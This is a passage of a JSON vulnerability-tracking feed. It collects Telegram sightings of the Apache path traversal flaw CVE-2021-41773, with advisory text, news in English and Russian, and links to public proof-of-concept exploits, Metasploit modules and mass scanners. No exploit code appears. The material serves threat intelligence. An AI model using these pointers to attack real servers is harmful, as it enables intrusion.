"2021-11-19T02:06:06.000000Z"}, {"uuid": "9261c613-63fe-4d16-b773-c37886dcfd3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/4ImoiQUCabjN1t-huCBAkrJRDMT3y_s40aRtK_v7NOw3yjI", "content": "", "creation_timestamp": "2021-11-15T11:35:44.000000Z"}, {"uuid": "0a3b74a4-8bdd-46a1-895b-4c9aebf4151b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/arpsyndicate/1348", "content": "#ExploitObserverAlert\n\nCVE-2021-42013\n\nDESCRIPTION: Exploit Observer has 168 entries related to CVE-2021-42013. It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.\n\nFIRST-EPSS: 0.973400000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-05T00:51:47.000000Z"}, {"uuid": "2a05c972-343a-445a-87e3-f6140d95aacc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/arpsyndicate/294", "content": "#ExploitObserverAlert\n\nCVE-2021-41773\n\nDESCRIPTION: Exploit Observer has 338 entries related to CVE-2021-41773. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.\n\nFIRST-EPSS: 0.974240000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-11-20T15:38:47.000000Z"}, {"uuid": "173bc897-4f74-4756-bae1-8f59a8409c2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/arpsyndicate/1593", "content": "#ExploitObserverAlert\n\nCVE-2021-41773\n\nDESCRIPTION: Exploit Observer has 341 entries related to CVE-2021-41773. A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.\n\nFIRST-EPSS: 0.974240000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-12-10T01:32:00.000000Z"}, {"uuid": "c13874de-8cbd-468d-9fec-6dc330ab5774", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/3Hw0ti8HK8QOqtOY2rsuqDdNwUtzE1sTstZVcrt4AbtXgI8", "content": "", "creation_timestamp": "2025-04-14T23:00:06.000000Z"}, {"uuid": "ec9d4307-5743-4c5e-a7e8-3674ca335202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/wjgDtksWls9V1MNAoyuEJUSghGZx1yvMU0aJMIJaKbGDXvk", "content": "", "creation_timestamp": "2025-02-03T04:00:06.000000Z"}, {"uuid": "9d76ba27-0f4d-423a-84c5-12d878ecb2da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/_YXcfdgTkBdEb3tZAn-Z2dueEzzZzJdwT_cvOAzfR__gtTo", "content": "", "creation_timestamp": "2025-03-11T16:00:08.000000Z"}, {"uuid": "727140b5-8c71-47da-823a-486fbe5ecce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/YBrr9bnrMsHvjVMlNhE_R_T9Bu1Hec2ynwQC5xZi-avV8gw", "content": "", "creation_timestamp": "2025-03-20T04:00:07.000000Z"}, {"uuid": "b82177d8-4dc8-4b8f-ba2e-f7f7195214df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/ashaburroyah313/925", "content": "CVE-2021-41773: What it is and how to fix it | Vulcan Cyber\nhttps://vulcan.io/blog/apache-http-server-cve-2021-41773/", "creation_timestamp": "2024-04-11T21:18:25.000000Z"}, {"uuid": "b31f77b6-6fe9-421f-b085-ddf1c3393a84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/BABATATASASA/6884", "content": "CVE-2021-41773: What it is and how to fix it | Vulcan Cyber\nhttps://vulcan.io/blog/apache-http-server-cve-2021-41773/", "creation_timestamp": "2024-04-11T21:18:22.000000Z"}, {"uuid": "3641af33-e0dd-4de2-84ca-a9e82338f6f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hanleaking/273", "content": "", "creation_timestamp": "2023-12-08T11:18:24.000000Z"}, {"uuid": "b8ed053e-a2e4-4549-a3a3-804df458e36b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/PPRulSqy2P4C7HpvstfvQ-zRaVShyT0ot3LuJQSK8PZP9f3a", "content": "", "creation_timestamp": "2022-05-14T22:40:54.000000Z"}, {"uuid": "506f18d9-d6e9-4f16-8262-f54a3a7dbaf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/vC0bavZ0AxHDJsPw0YfOZ4H-hePupJtZK38ZMjY-H3HSPzs", "content": "", "creation_timestamp": "2022-09-25T12:34:04.000000Z"}, {"uuid": "f37135ba-08dd-403f-981f-42776dd3b570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/sCCdzbAMUD6LCcGsM_mt0n7nzxs4sGd9i1UAheak_405l9E", "content": "", "creation_timestamp": "2022-09-22T08:20:11.000000Z"}, {"uuid": "cb1828a4-c27f-431d-bf68-5d0c63aaf461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/tmsilent/944", "content": "Sedikit menjelaskan Teknik Meretas Apache Server 2.4 untuk bisa mendapatkan akses shell.\nMenggunakan \n\n#nmap\nt.me/tmsilent", "creation_timestamp": "2021-11-06T12:45:41.000000Z"}, {"uuid": "4cd4e46c-940c-43de-b73e-527bafc99b28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/276", "content": "ProxyToken (CVE-2021-33766) : An Authentication Bypass in Microsoft Exchange Server #poc exploit\nhttps://github.com/bhdresh/CVE-2021-33766\n\n#poc CVE-2021-37980 : Inappropriate implementation in Sandbox (windows only)\nhttps://github.com/ZeusBox/CVE-2021-37980\n\nMy take on CVE-2021-30858 #poc for ps4 8.xx It's just a POC\nhttps://github.com/PeterMxx/ps4_8.00_vuln_poc\n\nA simple Python proof of concept for CVE-2021-38295\nhttps://github.com/ProfessionallyEvil/CVE-2021-38295-PoC\n\napache httpd path traversal checker(CVE-2021-41773 / CVE-2021-42013)\nhttps://github.com/theLSA/apache-httpd-path-traversal-checker", "creation_timestamp": "2021-10-15T12:57:52.000000Z"}, {"uuid": "13a8fffe-4dcb-4164-8e6b-6bad1ed93f9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/248", "content": "#Exploitation of CVE-2021-41773 a Directory Traversal in Apache 2.4.49\nhttps://github.com/RyouYoo/CVE-2021-41773\n\n#poc for CVE-2021-41773 with docker to demonstrate\nhttps://github.com/habibiefaried/CVE-2021-41773-PoC\n\n#poc CVE-2021-41773\nhttps://github.com/trungnd51/CVE-2021-41773\n\nCVE-2021-41773 nse\nhttps://github.com/creadpag/cve-2021-41773-nse", "creation_timestamp": "2021-10-06T09:07:13.000000Z"}, {"uuid": "3ec45825-7cf4-4a1f-81f2-00fd91a4c119", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/hacker_trick/394", "content": "Some docker images to play with #CVE-2021-41773 and #CVE-2021-42013\nhttps://github.com/Hydragyrum/CVE-2021-41773-Playground\n\n#CVE-2021-42663 HTML Injection vulnerability in the Online event booking and reservation system\nhttps://github.com/TheHackingRabbi/CVE-2021-42663", "creation_timestamp": "2021-11-05T12:22:44.000000Z"}, {"uuid": "83deeefa-8645-43bf-ac6f-45601cbc3801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/367", "content": "A framework for bug hunting or pentesting targeting websites that have #CVE-2021-41773 Vulnerability in public\nhttps://github.com/HightechSec/scarce-apache2\n\n#poc for the #CVE-2021-20837 RCE in MovableType\nhttps://github.com/ghost-nemesis/cve-2021-20837-poc", "creation_timestamp": "2021-10-31T14:29:50.000000Z"}, {"uuid": "ba74578e-4a00-4c5f-837a-168173aa0cc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/271", "content": "Apache (Linux) CVE-2021-41773/2021-42013 Mass Vulnerability Checker\n\nhttps://github.com/im-hanzou/apachrot", "creation_timestamp": "2021-10-12T10:08:59.000000Z"}, {"uuid": "c95f67df-e7b8-472c-8fbd-f9d845630596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/269", "content": "Metasploit modules (scanner and exploit) for the CVE-2021-41773 and CVE-2021-42013 (Path Traversal in Apache 2.4.49/2.4.50)\nhttps://github.com/Zeop-CyberSec/apache_normalize_path/commits/master\n\nApachuk - CVE-2021-41773 Grabber with Shodan\nhttps://github.com/apapedulimu/Apachuk", "creation_timestamp": "2021-10-11T21:00:09.000000Z"}, {"uuid": "79f885dc-d1bd-458e-96d4-d0537094cb2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/267", "content": "#CVE-2021-41773 playground\nApache HTTP Server 2.4.49\n\nhttps://github.com/blasty/CVE-2021-41773", "creation_timestamp": "2021-10-09T19:41:16.000000Z"}, {"uuid": "2e092313-fd5f-490c-bb1a-2882bb5f1a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/254", "content": "A framework for bug hunting or pentesting targeting websites that have CVE-2021-41773 Vulnerability in public\nhttps://github.com/HightechSec/scarce-apache2\n\nCVE-2021-26084 - Confluence Server Webwork OGNL injection\nhttps://github.com/oxctdev/CVE-2021-26084", "creation_timestamp": "2021-10-07T09:20:05.000000Z"}, {"uuid": "01273f7c-46db-4a76-a749-787e6cf867da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/Or3tvPrt2uuJ71AblKfPL4-tzOORWdJ13C5jjpneiiL-jw", "content": "", "creation_timestamp": "2021-10-13T04:56:13.000000Z"}, {"uuid": "a3df0047-eccf-408f-ae95-9bb49c37af26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/auraxchan/28176", "content": "Apache has issued urgent security patches to address 2 new security vulnerabilities\u2014including a zero-day path traversal and file disclosure flaw (CVE-2021-41773) in HTTP servers that it said is being actively exploited in the wild.\n https://thehackernews.com/2021/10/apache-warns-of-zero-day-exploit-in.html\n\n@cyberagents", "creation_timestamp": "2021-10-05T17:23:53.000000Z"}, {"uuid": "a1927be4-6b83-48df-b851-0e28a4bbd941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/9FIdJKEbN3A2Hu28AOXoH9ytWhGmBBXaQOWWq4P3_3pGkQ", "content": "", "creation_timestamp": "2021-10-11T16:34:01.000000Z"}, {"uuid": "990ab307-321a-4053-9d0f-f0bfd89330b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/TOmFjew0Kp3Ipuq7fSZ6lVbqDXlDmeo8XHcbYkSNAbeA9g", "content": "", "creation_timestamp": "2021-10-23T13:00:40.000000Z"}, {"uuid": "98c57b93-5642-4008-a0a0-075b8f121098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://t.me/true_secator/2184", "content": "\u200b\u200bApache Software Foundation \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044e 2.4.50 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 HTTP \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 2 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0411\u0430\u0433\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n \nHTTP-\u0441\u0435\u0440\u0432\u0435\u0440 Apache - \u044d\u0442\u043e \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u044b\u0439 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u0435\u043d \u0441\u0440\u0435\u0434\u0438 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0441\u0432\u043e\u0435\u0439 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0441\u0442\u0438 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438.\n \n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2021-41773 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 cPanel 29 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f 2021 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430\u043c \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c URL-\u0430\u0434\u0440\u0435\u0441\u0430 \u0441 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u0440\u043d\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0430\u0442\u0430\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438. \u0427\u0442\u043e\u0431\u044b \u0430\u0442\u0430\u043a\u0430 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430, \u0436\u0435\u0440\u0442\u0432\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c Apache HTTP Server 2.4.49, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0442\u044c \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c 'require all denied' (\u044d\u0442\u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e).\n \n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e Apache HTTP Server 2.4.49, \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Apache Server \u0438\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 CGI.\n \nApache \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 HTTP/2 (CVE-2021-41524), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u043e\u0442\u043a\u0430\u0437\u0430 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 (DoS) \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0411\u0430\u0433\u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Apache Server \u0432\u0435\u0440\u0441\u0438\u0438 2.4.49, \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u0430. \u041e\u0448\u0438\u0431\u043a\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0435\u0449\u0435 3 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u0430\u0437\u0430\u0434, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430 \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u044e 2.4.50.\n \n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 Shodan, \u0432 \u0441\u0435\u0442\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 100 \u0442\u044b\u0441. \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Apache HTTP Server 2.4.49, \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0435\u0440\u0441\u0438\u044f 2.4.49 \u0431\u044b\u043b\u0430 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u0430 \u0432\u0441\u0435\u0433\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0434\u0435\u043b\u044c \u043d\u0430\u0437\u0430\u0434, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043c\u043d\u043e\u0433\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c. \n \n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Apache \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u043c \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u043d\u0435\u0441\u0442\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0438 \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0440\u0438\u0441\u043a, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.", "creation_timestamp": "2021-10-06T11:23:27.000000Z"}, {"uuid": "6daaa264-08f0-49c9-aa18-392fcb961c91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/csWvsPDyZRrNGN8kH4CPpi2jt9j8irEUB-QTIHhBuQu6Ug", "content": "", "creation_timestamp": "2021-10-06T16:00:51.000000Z"}, {"uuid": "b4cc31ba-fa53-44e7-8eff-94546351d573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "published-proof-of-concept", "source": "Telegram/AdQLeHYWU0TXep0r9E19SOb4BNkj4m2Xf7ps4yaJzOlHAg", "content": "", "creation_timestamp": "2021-10-06T15:52:31.000000Z"}, {"uuid": "e3ad68a2-a695-4acb-a04f-fd91c916ba2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "exploited", "source": "https://t.me/true_secator/2194", "content": "\u200b\u200b\u0412\u043e \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u043c\u044b \u043f\u0438\u0441\u0430\u043b\u0438, \u0447\u0442\u043e \u0432\u044b\u0448\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044f 2.4.50 Apache HTTP, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0431\u044b\u043b 